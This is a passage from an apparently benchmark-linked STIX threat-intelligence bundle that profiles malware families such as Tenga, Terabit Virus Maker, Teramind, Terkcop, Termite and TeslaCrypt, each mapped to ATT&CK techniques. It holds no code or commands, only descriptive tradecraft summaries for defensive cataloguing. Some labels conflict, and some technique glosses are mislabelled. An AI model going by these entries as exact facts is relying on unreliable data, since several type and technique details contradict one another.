          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tencent"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb9a20b6-a3f5-5828-9cc5-42a45063eba8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c52b7959-2659-567d-8f9c-477fe7932b03",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tencent exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Aggressive persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2032e9db-772f-544d-b3f5-3a8fc15f9c1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c52b7959-2659-567d-8f9c-477fe7932b03",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tencent exhibits technique T1112 (Modify Registry (Browser hijacking and anti-uninstallation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb153643-6dce-51ae-84e4-4e5039b8672c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c52b7959-2659-567d-8f9c-477fe7932b03",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tencent exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Preventing uninstallation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4936ee66-630c-5755-8654-e6018c3e577b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c52b7959-2659-567d-8f9c-477fe7932b03",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tencent exhibits technique T1189 (Drive-by Compromise (Malvertising/Bundling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bebff397-ea7c-509d-bd6c-df9528eb284d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tenga",
      "description": "Tenga (cataloged across antivirus vendors under signatures including Virus:Win32/Tenga, Win32/Tenga.A, and Virus.Win32.Gat.a) is a landmark polymorphic file infector and network propagation virus active since 2005. Unlike typical standalone trojans, Tenga is a true parasitic file infector: upon execution, it searches local hard drives, mapped network shares, and removable media for Windows Portable Executable (.exe) files, appending a polymorphic decryptor stub to the last section and modifying the entry point to redirect execution flow. Simultaneously, Tenga incorporates an aggressive worm propagation engine that scans random IP addresses across Class B subnets on TCP port 135, weaponizing the historic Microsoft Windows RPC DCOM vulnerability (MS03-026 / CVE-2003-0352) to inject malicious shellcode into remote unpatched systems, open a listening backdoor on TCP port 2005, and download additional malicious payloads. (Observed samples in benchmark: 50)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Tenga",
        "Win32/Tenga.A",
        "Virus.Win32.Gat.a",
        "W32.Gat",
        "Win32/Tenga"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tenga",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tenga"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1972c218-7974-5b4d-81cd-fbb4934bdbcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bebff397-ea7c-509d-bd6c-df9528eb284d",
      "target_ref": "attack-pattern--396f7941-9fec-5f68-b4e7-7a48c32464f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenga exhibits technique T1027.001 (Obfuscated Files or Information: Indicator Removal from Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d21ebb9-9610-54e0-be38-a7d4b88d5bea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bebff397-ea7c-509d-bd6c-df9528eb284d",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenga exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae4e34cd-7674-5e9a-aa04-928562543141",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bebff397-ea7c-509d-bd6c-df9528eb284d",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenga exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d20089a-166d-5c1d-a4d2-b118157eb2da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bebff397-ea7c-509d-bd6c-df9528eb284d",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenga exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b85ae833-16d8-51fc-9599-b4853c0327b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bebff397-ea7c-509d-bd6c-df9528eb284d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenga exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1234d39f-8cf1-5015-82f7-6831d5134c18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Terabit_Virus_Maker",
      "description": "Terabit Virus Maker (abbreviated as TVM and identified in security definitions as HackTool.Win32.Terabit) is an automated malware generation kit and script virus constructor created around 2007 by an Iranian malware author known as 'm_reza00'. Designed with a point-and-click graphical interface, TVM enabled non-technical threat actors to assemble multi-stage Windows destructive trojans and worms. The builder allowed operators to select modular payload routines, including disabling critical Windows security components (Windows Defender, Firewall, Task Manager, Registry Editor, and Command Prompt), terminating running antivirus processes, deleting system restore points, modifying system file attributes, and dropping secondary malicious executables. Trojans compiled with Terabit Virus Maker established persistent registry autostart hooks and frequently weaponized VBScript and batch scripting wrappers to evade rudimentary signature-based antivirus scanners.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TVM",
        "Terabit Virus Maker by m_reza00",
        "HackTool.Win32.Terabit",
        "Terabit Trojan Generator",
        "Terabit 2.8"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Terabit_Virus_Maker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/terabit_virus_maker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b6a5498-aab2-5904-872a-e0ef68b3cc0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1234d39f-8cf1-5015-82f7-6831d5134c18",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terabit_Virus_Maker exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e0c6099-adb5-5f54-b399-76c0cfd1d994",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1234d39f-8cf1-5015-82f7-6831d5134c18",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terabit_Virus_Maker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3fc1f68-62e2-522e-be4a-cf0157f168a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1234d39f-8cf1-5015-82f7-6831d5134c18",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terabit_Virus_Maker exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a09e653-6a78-505e-949a-c3771b5ec918",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1234d39f-8cf1-5015-82f7-6831d5134c18",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terabit_Virus_Maker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--841da808-d6cd-5bc5-b71d-e53aa8e69f82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1234d39f-8cf1-5015-82f7-6831d5134c18",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terabit_Virus_Maker exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e29ae493-4f65-5c22-8a80-f787c207e5c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Teramind",
      "description": "MonitoringTool:Win32/Teramind is a classification for legitimate, commercial employee monitoring and insider threat detection software. However, in the context of a malware detection, it indicates that threat actors are abusing this dual-use software to act as a highly sophisticated, stealthy keylogger and spyware suite (`T1056.001`). This is a classic 'Living off the Land' technique.<br><br><b>Understanding Teramind (Dual-Use Abuse)</b><br>To an end-user, there is no indication that their activity is being monitored. For a SOC analyst, detecting commercial monitoring software that was *not* explicitly deployed by the IT department is a massive red flag. Attackers favor tools like Teramind because they are digitally signed by a legitimate company, meaning they often bypass antivirus and EDR heuristics that look for known malware signatures.<br><br><b>Execution and Spyware Mechanics</b><br>Attackers will typically deploy the Teramind 'Hidden Agent' silently using stolen administrative credentials (`T1078`) via tools like PsExec or WMI. Once installed, the agent runs as a system service. It is designed to capture every keystroke (`T1056.001`), record screen activity (`T1113`), monitor file transfers, and even record audio/video from the webcam. The attacker configures the agent to send all this telemetry back to a cloud instance controlled by the attacker, effectively turning a corporate security tool into a weapon of espionage.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total surveillance of the victim, leading to severe data exfiltration and credential theft. Host-based IoCs include the presence of the Teramind agent (often named `tmnd.exe` or `teramind_agent.exe`) running in the background, or an unapproved installation folder in `C:\\ProgramData\\Teramind`. Network IoCs involve continuous, encrypted outbound traffic to Teramind's cloud infrastructure (if the attacker is using the SaaS version) or to an attacker-controlled IP (if they are using the on-premise version). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Teramind",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/teramind"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4d36bc5-f5db-516e-9fdf-8bafb3daf7fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29ae493-4f65-5c22-8a80-f787c207e5c9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teramind exhibits technique T1056.001 (Input Capture: Keylogging (The primary function of the abused software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99c13421-c1e2-5a7c-9eb6-333e3b91cc18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29ae493-4f65-5c22-8a80-f787c207e5c9",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teramind exhibits technique T1113 (Screen Capture (Recording the user's desktop))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4e4e69f-2705-5436-85f9-4adecc210664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29ae493-4f65-5c22-8a80-f787c207e5c9",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teramind exhibits technique T1078 (Valid Accounts (Required to silently deploy the monitoring agent))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d1aeeab5-4483-5e33-b864-a32a0ec0692b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Terkcop",
      "description": "Trojan:Win32/Terkcop is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Terkcop</b><br>To an end-user, a Terkcop infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Terkcop is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Terkcop is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Terkcop frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Terkcop reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Terkcop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/terkcop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64864eb3-3c19-51c9-8720-9bb6e5e08be5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1aeeab5-4483-5e33-b864-a32a0ec0692b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terkcop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0ba7040-1bde-52d7-9097-4b27f4a5febd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1aeeab5-4483-5e33-b864-a32a0ec0692b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terkcop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fe77340-8095-5c88-bff5-1b12f9c58648",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1aeeab5-4483-5e33-b864-a32a0ec0692b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terkcop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--160705d7-44fd-599e-8662-dd2bd2e07008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1aeeab5-4483-5e33-b864-a32a0ec0692b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terkcop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4a5ec1a-d921-56c9-8634-39d07fa611ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1aeeab5-4483-5e33-b864-a32a0ec0692b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Terkcop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--577bcae2-9602-5080-bd1b-c2284aeb653d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Termite",
      "description": "<h3>Executive Summary</h3>\nTermite (often associated with the NetWeaver framework) is a highly capable Remote Access Trojan (RAT) and post-exploitation toolset. While sometimes marketed or discussed in \"grey hat\" contexts as an administrative tool, its deep capabilities for covert surveillance, process manipulation, and lateral movement make it a severe threat when deployed by malicious actors or utilized during a network breach.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTermite is rarely the initial infection vector. It is typically deployed as a secondary, post-exploitation payload *after* an attacker has already gained initial access to a network (e.g., via spear-phishing, exploiting a vulnerable web server, or purchasing access from an Initial Access Broker).\n\nOnce deployed, Termite provides the attacker with a comprehensive suite of control capabilities:\n<ul>\n<li><strong>Reverse Shell and Command Execution:</strong> The core functionality provides a stable, often encrypted, reverse shell connecting back to the attacker's C2 infrastructure, allowing for arbitrary command execution with the privileges of the compromised user.</li>\n<li><strong>Advanced Process Manipulation:</strong> Termite excels at evasion. It can inject its code into legitimate running processes (Process Hollowing), manipulate process tokens to escalate privileges (e.g., from a standard user to SYSTEM), and actively hide its network connections from standard monitoring tools.</li>\n<li><strong>Data Exfiltration and Surveillance:</strong> The toolset includes modules for capturing screenshots, logging keystrokes, dumping credentials from LSASS memory, and silently archiving and exfiltrating sensitive files.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of Termite on a network is a critical security incident. It indicates that an adversary has moved beyond initial access and has established a highly reliable, interactive foothold within the environment. The presence of a RAT like Termite is the immediate precursor to lateral movement and massive data exfiltration.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Containment and Triage:</strong> Isolate the infected endpoint immediately. Incident Response teams must perform forensic analysis on the machine (capturing RAM and disk images) to identify the initial entry vector that allowed the attacker to deploy Termite.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Because Termite is a post-exploitation tool, incident responders must assume the attacker has stolen credentials and attempted to pivot. An enterprise-wide sweep is required to locate other compromised hosts.</li>\n<li><strong>Global Credential Reset and Rebuild:</strong> All credentials stored on or accessible from the compromised endpoint must be reset. The endpoint itself must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RAT.Termite",
        "Backdoor.NetWeaver",
        "HackTool.Termite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Termite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/termite"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fc8f2bf-b7b0-51c3-9d7c-a4ecffcbcc1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577bcae2-9602-5080-bd1b-c2284aeb653d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Termite exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5813e93-0779-5848-9f6c-78479457111f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577bcae2-9602-5080-bd1b-c2284aeb653d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Termite exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72075151-8edc-5942-a345-8e351bb3c295",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577bcae2-9602-5080-bd1b-c2284aeb653d",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Termite exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b81bf586-7fa0-5b28-8ed2-53108ba94d49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577bcae2-9602-5080-bd1b-c2284aeb653d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Termite exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71f5858b-67a9-5545-a992-44a831910fb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tescrypt",
      "description": "Tescrypt (universally known across the cybersecurity industry as TeslaCrypt, and cataloged under signatures including Ransom:Win32/Tescrypt, Trojan-Ransom.Win32.TeslaCrypt, and Ransom.TeslaCrypt) is a landmark crypto-ransomware family that wreaked havoc between February 2015 and May 2016. Distributed primarily through drive-by downloads via the Angler, Sweet Orange, and Nuclear exploit kits, TeslaCrypt gained widespread notoriety for specifically targeting video gamers. In its initial versions, the ransomware scanned endpoints and encrypted saved games, user profiles, maps, and custom modifications for over 40 popular PC titles (including World of Warcraft, Call of Duty, Minecraft, and Steam games) before expanding to encrypt general documents, databases, and photos using AES-CBC and asymmetric RSA algorithms. In May 2016, the operators abruptly shut down operations and publicly released the master decryption key, allowing Cisco Talos and the No More Ransom initiative to build free universal decryptors. (Observed samples in benchmark: 39)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Tescrypt",
        "TeslaCrypt",
        "Trojan-Ransom.Win32.TeslaCrypt",
        "Ransom.TeslaCrypt",
        "Win32/TeslaCrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tescrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tescrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a3035ec-6993-5430-ba16-e767c3b96e19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Teslacrypt",
      "description": "TeslaCrypt is a notorious ransomware family first detected in February 2015 that achieved widespread prominence by specifically targeting video gamers\u2014encrypting game saves, maps, player profiles, and user modifications for over 40 popular video games (including Call of Duty, World of Warcraft, Minecraft, Fallout, and League of Legends) alongside standard business documents.\n\nTeslaCrypt was primarily distributed through exploit kits (Angler, Nuclear, Sweet Orange) leveraging Adobe Flash Player zero-day vulnerabilities (CVE-2015-0311, CVE-2015-5119). In May 2016, TeslaCrypt concluded in one of the most remarkable events in cybercrime history: the ransomware operators abruptly announced they were shutting down their operations, posting an apology note on their Tor payment site ('Project closed. We are sorry!') and publicly publishing the master private encryption key. Security researchers at ESET and Cisco Talos immediately utilized the master key to create free universal decryption utilities, allowing every affected victim worldwide to restore their encrypted files without paying ransom. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TeslaCrypt",
        "Trojan.TeslaCrypt",
        "Win32/TeslaCrypt",
        "Ransom.TeslaCrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Teslacrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/teslacrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82c61f4c-b51c-5ae7-91b6-88fee668efea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3035ec-6993-5430-ba16-e767c3b96e19",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Teslacrypt exhibits technique T1486 (Data Encrypted for Impact (Encrypting documents and game saves))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--286716d6-e6ee-568c-b305-edaab2b1c007",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3035ec-6993-5430-ba16-e767c3b96e19",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
